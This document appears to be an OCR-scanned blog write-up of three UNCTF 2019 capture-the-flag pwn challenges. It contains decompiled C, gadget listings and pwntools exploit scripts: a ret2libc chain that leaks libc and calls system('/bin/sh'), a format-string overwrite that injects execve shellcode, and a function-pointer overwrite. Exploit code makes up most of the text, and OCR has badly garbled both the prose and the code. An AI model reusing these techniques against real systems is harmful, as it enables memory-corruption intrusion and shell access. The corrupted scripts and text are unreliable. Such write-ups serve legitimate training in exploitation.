UNCTF pwn43writeup

T F 2019-11-16 15:12:49 KA 291 e
WA S B . A SCONTE R R AISCE, B1E CC 4.0 BY-SA MR, #HEiEM LR SCH b mA S,

ACEERE: https://blog.csdn.net/sea_time/article/details/103097883
KA

UNCTF

pwn

babyrop (##it)

fie RB L 2

HABSETE, REFEBEIT, REELFITRECKIbC leak, REHXRER)E TR, BRBEDibesEPAT
system("/bin/sh"), FHEEXEENIR, Xfrethhti#4T T check, FrbAstBkElrett, 4R)5i@idcheck Ellibcz*Ia],

IDATFF
FEFFIR fay B2

int __cdecl main()

{
char buf; // [esp+Ch] [ebp-2Ch]
int v2; // [esp+2Ch] [ebp-Ch]

V2 = 0;
sub_80484FB();
puts("Hello CTFer!");
read(9, &buf, 0x30u);
if ( v2 == 0x66666666 )
sub_804853D();
puts("0Ok!goodbye!");
return 0;
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unsigned int result; //
char buf; /f/
unsigned int retaddr; //

puts{"What is your name?");

read(@, &buf, Bx36u); [/ offset: Bx14
if ( > @x8050000 )
{
puts{"What!?");
exit(@);
¥
return ;
¥
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adef@ubuntu:~/CTF functf/pwn/babyrop$S ROPgadget --binary babyrop --only "pop|ret"”

Gadgets information

Ox0804865b ;
Ox0BO48658 ebx ; esi ; pop edi ; pop ebp ; ret

0x080483bs -

Ox0804865a edi ; = : ret
Ox08048659 esi ; edi ; pop ebp ; ret
Ix0804839e

Ox0804847e

Unique gadgets found: 7
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from pwn import *

context.log level = ‘'debug’

io = process('./babyrop"’

elf = ELF('./babyrop’

libc = ELF('/1ib/i386-1inux-gnu/libc.so.6"

if _name__ == "_main__
io.recvuntil("Hello CTFer!"

payload = 'a' * 0x20 + p32(0x66666666

main_addr = 0x08048592

io.sendline(payload

io.recvuntil("What is your name?"

io.sendline('a" * 0x14 + p32(elf.plt[ 'puts’ + p32(main_addr) + p32(elf.got['puts’

io.recv

libc_base = u32(io.recv 4 - libc.sym[ 'puts’

success('libc_base:"' + hex(libc_base

io.sendline(payload

io.recv

bin_sh_addr = libc_base + libc.search("/bin/sh").next

io.sendline('a" * 0x14 + p32(0x0804839e) + p32(libc_base + libc.sym
'system’ + p32(main_addr) + p32(bin_sh_addr

io.interactive
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adef@ubuntu:~/CTF/unctf/pwn/babyfmt$s checksec babyfmt
[#] '/home/adef/CTF/unctf/pwn/babyfmt/babyfmt’

Arch: i386-32-1little

RELRO:

Stack:

NX:

PIE:

RWX:
adef@ubuntu:~/CTF /unctf /pwn/babyfmt$
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signed int v@; // eax
signed int v2; // [esp+Ch] [ebp-Ch]

v2 = 38;

sub_ 804868B();

puts("Welcome to UNCTF2019!");
puts("printf is magic function!");
while ( 1)

{ -

if ((v8 ==08)
break;
sub_88486CD();

¥

return @;
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#!/usr/bin/python2.7

# -*- coding: utf-8 -*-
from pwn import *
context.log _level = "debug"
context.arch = "i386"

elf = ELF("babyfmt")

sh = process('./babyfmt")

sh.recvuntil("Please input your message:")
payload = "%22%p"
sh.send(payload)

ebp = int(sh.recv(10),16)
ret = ebp - (Oxffb66408 - Oxffb663ec)
buf_addr = ebp - (@xffb66408 - Oxffb66390)

payload = p32(ret) + p32(ret + 2) + "%." + str(buf_addr % ©x10000 + 0x28 - 7) + "d%4%$hn"

payload += "%." + str((buf_addr >> 16) - (buf_addr % 0x10000) - 0x28 - 2) + "d%5%$hn"

payload = payload.ljust(0x28, '\x00")

payload += "\x31\xc@\x31\xd2\x31\xdb\x31\xc9\x31\xc0\x31\xd2\x52\x68\x2F\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3
\Xx52\x53\x89\xe1\x31\xc0\xbo\x0b\xcd\x80"

log.success("ret: " + hex(ret))
log.success("ebp: " + hex(ebp))
log.success("buf_addr: " + hex(buf_addr))

sh.sendline(payload)
sh.interactive()
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adef@ubuntu: F/functf/ easy_pwn$ checksec pwn
[*] fhomejadeffcTF;unctf;pwn;qqueaqy pwn/pwn'

Arch: i386-32-little

RELRO: Partial RELR

Stack:
NX:
PIE:

#E DA

RIE AR

unsigned int sub_9082()

{
char s; /f [esp+Ch] :ejj-_u ]
unsigned int v2; // [esp+1Ch] [ebp-Ch]
vZ2 = _ readgsdword("\x14");

memset(&s, @, @x18u);
printf("Welcome our the %01d world\n",| (unsigned int)sub 8C@ >> 16);

puts("So, Can you tell me your name?")%
read(@, &s, "\x14');

printf("\nhello %s", &s);
fflush(stdin);

return _ readgsdword(®x14u) *~ v2;
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int sub_9E

(

oh
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int (*v1)(void); // [esp+8h]
__intl6 *buf; // ~cJ+£“] e

[ebp-C

puts{"Please input your choice:(1.hello|2.byebye):");
read(@, buf, 1u);

if ( buf == (__intil6 *)((char *)&word 30 + 1) )
¢ vl = (int (*)(void))sub_99B;

ilse if ( buf == &word_32 )

¢ vl = (int (*)(void))sub_9B4;

h

return v1();
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#coding:utf-8

from pwn import *

#p=remote('101.71.29.5"',10000)

p=process("'./pwn")

context(arch="1386", os='linux', log level='debug')
elf=ELF('./pwn")

libc = ELF("./x86_libc.so.6")

#system_offset=elf.symbols[ 'system']

p.recvuntil("the ")

#bin_sh_offset=0x00000b68

ads=(int(p.recvuntil(' ',drop=True)[-6:])<<16)+0x1000
log.success('ads: '+hex(ads))

bin_sh_addr=ads+0x09D6

log.success('bin_sh_addr: '+hex(bin_sh_addr))

p.recvuntil("So, Can you tell me your name?")
payload="a'*12+p32(bin_sh_addr) #12=F— AT EFN2 () HIEEE, Allc-10
print len(payload)

p.send(payload)

p.recvuntil('Please')

#p.sendline('1")

p.interactive()
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